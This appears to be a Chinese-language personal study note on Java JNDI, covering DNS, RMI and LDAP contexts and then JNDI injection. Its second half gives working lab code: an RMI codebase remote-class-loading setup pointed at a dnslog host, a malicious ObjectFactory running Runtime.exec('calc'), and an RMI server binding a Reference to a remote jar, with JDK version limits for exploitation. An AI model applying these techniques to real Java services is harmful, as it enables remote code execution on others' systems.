什么是JNDI
JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。
JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源),JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
我在这里学习的时候困惑的就是什么是”命名”和”目录接口”…
Naming Service 命名服务
命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。
小知识点:在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。
Directory Service 目录服务
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。
小总结
我这里就举个例子,就相当于 命名服务体现的作用是在人与名两者之间进行关联,这里将姓名和人进行关键,人相当是对象,因为我们还可以有年龄、性别的属性
Context
之前说了目录服务是命名服务的扩展,相当于已经包含了命名服务的知识点和概念,所以这里主要学习目录服务就好了
访问JNDI目录服务时会通过预先设置好环境变量访问对应的服务,我们这里以DNS服务来举例,如下代码所示
public class Test {
public static void main(String[] args) throws NamingException {
// 创建环境变量对象
Hashtable<String, String> env = new Hashtable<String, String>();
// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, "dns://114.114.114.114");
// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);
}
}
运行结果无报错,说明代码正常走完了
这里其实直接看InitialDirContext这个类是如何生成的即可,因为前面都是存在变动的,我们这里拿到了DNS的目录服务,但是JNDI还可以RMI LDAP等等的目录服务,所以我们要看InitialDirContext是如何根据存储env的数据来进行初始化目录服务对象的,这里一直跟进去首先会发现一个init的函数,取我们存入的INITIAL_CONTEXT_FACTORY属性来进行判断,如果该属性存在则getDefaultInitCtx进行默认的初始化context
这里继续来看getDefaultInitCtx方法,又会接着将之前存入env的相关信息通过NamingManager.getInitialContext(myProps);传入
这里继续看NamingManager.getInitialContext,这个方法内完成对对应的工厂类的实例化
接着用对应的工厂类通过env相关信息来实例化对应的Context类
到这里完成了getInitialContext方法,最后返回上下文Context对象
这边的话拿到对应的上下文还可以对其进行相关的方法调用,因为对应的对象都提供了一些方法让我们使用,比如这里的DNS工厂,我们就可以对域名进行解析,如下操作
DirContext context = new InitialDirContext(env);
try {
// 获取DNS解析记录测试
Attributes attrs1 = context.getAttributes("baidu.com", new String[]{"A"});
Attributes attrs2 = context.getAttributes("qq.com", new String[]{"A"});
System.out.println(attrs1);
System.out.println(attrs2);
} catch (NamingException e) {
e.printStackTrace();
}
RMI目录服务
这里再举个例子,JNDI我们可以理解为进行包装,这里包装的对象有很多,除了DNS工厂类,还有RMI工厂类,LDAP工厂类,这里再举个RMI工厂类来进行测试!
public static void main(String[] args) {
String providerURL = "rmi://" + RMI_HOST + ":" + RMI_PORT;
// 创建环境变量对象
Hashtable env = new Hashtable();
// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, providerURL);
// 通过JNDI调用远程RMI方法测试,等同于com.anbai.sec.rmi.RMIClientTest类的Demo
try {
// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);
// 通过命名服务查找远程RMI绑定的RMITestInterface对象
RMITestInterface testInterface = (RMITestInterface) context.lookup(RMI_NAME);
// 调用远程的RMITestInterface接口的test方法
String result = testInterface.test();
System.out.println(result);
} catch (NamingException e) {
e.printStackTrace();
} catch (RemoteException e) {
e.printStackTrace();
}
}
服务端:
public class RMIServer {
// RMI服务器IP地址
public static final String RMI_HOST = "192.168.1.230";
// RMI服务端口
public static final int RMI_PORT = 9527;
// RMI服务名称
public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/AAAAAAA";
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
// 注册RMI服务端口
LocateRegistry.createRegistry(RMI_PORT);
// 绑定对应的Remote对象(这里就是你的RMITestImpl对象)
Naming.bind(RMI_NAME, new RMITestImpl());
System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
}
}
问题1:这里我服务端一开始是通过createRegistry返回的RegistryImpl对象来进行bind发现就会提示如下报错,具体不清楚,先放着,但是我自己认为本质不还是RegistryImpl来进行lookup的吗,还是不太懂
LDAP目录服务
LDAP的服务处理工厂类是:com.sun.jndi.ldap.LdapCtxFactory,连接LDAP之前需要配置好远程的LDAP服务。
public class TestLDAP {
public static void main(String[] args) {
try {
// 设置用户LDAP登陆用户DN
String userDN = "cn=Manager,dc=javaweb,dc=org";
// 设置登陆用户密码
String password = "123456";
// 创建环境变量对象
Hashtable<String, Object> env = new Hashtable<String, Object>();
// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:1389");
// 设置安全认证方式
env.put(Context.SECURITY_AUTHENTICATION, "simple");
// 设置用户信息
env.put(Context.SECURITY_PRINCIPAL, userDN);
// 设置用户密码
env.put(Context.SECURITY_CREDENTIALS, password);
// 创建LDAP连接
DirContext ctx = new InitialDirContext(env);
// 使用ctx可以查询或存储数据,此处省去业务代码
ctx.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
小知识点:如果JNDI在lookup时没有指定初始化工厂名称,会自动根据协议类型动态查找内置的工厂类然后创建处理对应的服务请求。
// 创建JNDI目录服务上下文
InitialContext context = new InitialContext();
// 查找JNDI目录服务绑定的对象
Object obj = context.lookup("rmi://127.0.0.1:9527/test");
在讲Reference的时候,这里得先学习一下前置的知识点,关于RMI的动态加载,自己在RMI的笔记中有稍微提及,那时候自己了解的一般,可能讲的不太详细
远程加载恶意类
RMI服务端远程加载恶意类(攻击服务端)
首先在讲RMI的动态加载恶意类,在java安全漫谈中的RMI篇有记录,这里直接贴上来
RMI中也存在远程加载的场景,这里有涉及到codebase知识点。
codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。
如果我们指定 codebase=http://example.com/ ,然后加载 org.vulhub.example.Example 类,则Java虚拟机会下载这个文件 http://example.com/org/vulhub/example/Example.class ,并作为Example类的字节码。
RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase中的类。
这个时候问题就来了,如果RMI服务端的codebase被控制,我们不就可以任意加载恶意类了吗?
对,在RMI中,我们是可以将codebase随着序列化数据一起传输的,服务器在接收到这个数据后就会去CLASSPATH和指定的codebase寻找类,由于codebase被控制导致任意命令执行漏洞。
不过显然官方也注意到了这一个安全隐患,所以只有满足如下条件的RMI服务器才能被攻击:
1、安装并配置了SecurityManager(这里的话自己通过设置trust)
2、java.rmi.server.useCodebaseOnly为false
这里还需要说下在 当RMI客户端引用远程对象将受本地Java环境限制,即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。
所以这里如果我们进行利用的话,客户端的RMI启动的时候就需要设置useCodebaseOnly
java在6u45、7u21开始java.rmi.server.useCodebaseOnly默认配置已经改为了true。
JDK 6u45 https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/relnotes.html
JDK 7u21 http://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html
这里我没看到相关jdk8的useCodebaseOnly的版本限制,我在javasec中看到说是8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true
这里来搭建下环境进行测试
ICalc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
Integer sum(List<Integer> params) throws RemoteException;
}
Calc.java
public class Calc extends UnicastRemoteObject implements ICalc {
public Calc() throws RemoteException {
}
public Integer sum(List<Integer> params) throws RemoteException {
Integer sum = 0;
for (Integer param : params)
{
sum += param;
}
return sum;
}
}
RMIServer.java
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class RemoteRMIServer {
private void start() throws RemoteException, MalformedURLException {
if (System.getSecurityManager() == null) {
System.out.println("setup SecurityManager");
System.setSecurityManager(new SecurityManager());
System.out.println("setup SecurityManager Finish");
}
Calc h = new Calc();
LocateRegistry.createRegistry(1099);
Naming.rebind("refObj", h);
System.out.println("Bind Finish");
}
public static void main(String[] args) throws Exception {
new RemoteRMIServer().start();
}
}
client.policy
grant {
permission java.security.AllPermission;
};
执行命令:
java -Djava.rmi.server.hostname=xxx.xxx.xxx.xxx -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RMIServer
RMIClient.java
import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class RMIClient implements Serializable{
public class Payload extends ArrayList<Integer> {}
public void lookup() throws Exception {
ICalc r = (ICalc) Naming.lookup("rmi://xxx.xxx.xxx.xxx:1099/refObj");
List<Integer> li = new Payload();
li.add(3);
li.add(4);
System.out.println(r.sum(li));
}
public static void main(String[] args) throws Exception {
new RMIClient().lookup();
}
}
执行命令:
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://jbm1sq.dnslog.cn RMIClient
指定的codebase已经接收到请求
下面引入另外的两个知识点(后面会讲,涉及到JNDI注入)
RMI+JNDI远程加载恶意类(攻击客户端,如典型的fastjson rmi+jndi注入)
除此之外被引用的ObjectFactory对象(后面会讲,涉及到JNDI注入)还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)则无法调用远程的引用对象。
rmi的jndi在6u132,7u122,8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false。
我们如果想要通过rmi的jndi进行加载恶意类,在jdk8中,版本就可以适用到113
JDK 6u141 http://www.oracle.com/technetwork/java/javase/overview-156328.html#R160_141
JDK 7u131 http://www.oracle.com/technetwork/java/javase/7u131-relnotes-3338543.html
JDK 8u121 http://www.oracle.com/technetwork/java/javase/8u121-relnotes-3315208.html
LDAP+JNDI远程加载恶意类(攻击客户端,如典型的fastjson ldap+jndi注入)
然后再说下ldap的jndi,ldap的jndi在6u211、7u201、8u191、11.0.1后也将默认的com.sun.jndi.ldap.object.trustURLCodebase设置为了false,并且这些变动对应的分配了一个漏洞编号CVE-2018-3149。
这里就是为什么别人说进行JNDI注入的时候用LDAP会通用,因为我们如果想要通过ldap的jndi进行加载恶意类,在jdk8中,版本就可以适用到8u191
Reference(jndi注入的根)
在前面介绍目录服务的时候有稍微提及到Reference的知识,这里来详细学习
Reference:在JNDI服务中允许使用系统以外的对象,比如在某些目录服务中直接引用远程的Java对象,但遵循一些安全限制。
JNDI允许通过对象工厂 (javax.naming.spi.ObjectFactory)动态加载对象实现,例如,当查找绑定在名称空间中的打印机时,如果打印服务将打印机的名称绑定到 Reference,则可以使用该打印机 Reference 创建一个打印机对象,从而查找的调用者可以在查找后直接在该打印机对象上操作。
对象工厂必须实现 javax.naming.spi.ObjectFactory接口并重写getObjectInstance方法。
所以我们这里就需要自己实现一个OjbectFactory接口的类,并重写getObjectInstance方法
public class ReferenceObjectFactory implements ObjectFactory {
/**
* @param obj 包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
* @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
* @param ctx 一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
* @param env 创建对象时使用的环境(可能为 null)。
* @return 对象工厂创建出的对象
* @throws Exception 对象创建异常
*/
public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
// 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
return Runtime.getRuntime().exec("calc");
}
}
主要原理:JNDI Reference远程加载Object Factory类的特性。
jndi注入之rmi+jndi
如果我们在RMI服务端绑定一个恶意的引用对象,RMI客户端在获取服务端绑定的对象时发现是一个Reference对象后检查当前JVM是否允许(基于trustURLCodebase)加载远程引用对象,如果允许加载且本地不存在此对象工厂类则使用URLClassLoader加载远程的jar,并加载我们构建的恶意对象工厂(ReferenceObjectFactory)类然后调用其中的getObjectInstance方法从而触发该方法中的恶意RCE代码。
所以如果当前RMI客户端允许加载远程引用对象,且RMI服务端绑定的是Reference恶意对象,则可以进行攻击RMI客户端!
服务端:
因为我这里本地的版本为8u181,所以在jndi+rmi中需要进行开启trustURLCodebase=true,也可以不开启先试试,它会提示The object factory is untrusted.
package com.zpchcbd.jndi.objectfactory;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIReferenceServerTest {
public static void main(String[] args) {
try {
// 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
String url = "http://127.0.0.1:81/CollectionsSerializable.jar";
// 对象的工厂类名
String className = "com.zpchcbd.jndi.objectfactory.ReferenceObjectFactory";
// 监听RMI服务端口
LocateRegistry.createRegistry(9527);
// 创建一个远程的JNDI对象工厂类的引用对象
Reference reference = new Reference(className, className, url);
// 转换为RMI引用对象,
// 因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,
// 所以需要使用ReferenceWrapper对Reference的实例进行一个封装。
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 绑定一个恶意的Remote对象到RMI服务
Naming.bind("rmi://192.168.1.230:9527/AAAAAA", referenceWrapper);
System.out.println("RMI服务启动成功,服务地址:" + "rmi://192.168.1.230:9527/AAAAAA");
} catch (Exception e) {
e.printStackTrace();
}
}
}
客户端:
package com.zpchcbd.jndi.objectfactory;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIReferenceClientTest{
public static void main(String[] args) {
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext context = new InitialContext();
// 获取RMI绑定的恶意ReferenceWrapper对象
Object obj = context.lookup("rmi://192.168.1.230:9527/AAAAAA");
System.out.println(obj);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
客户端运行之后,结果如下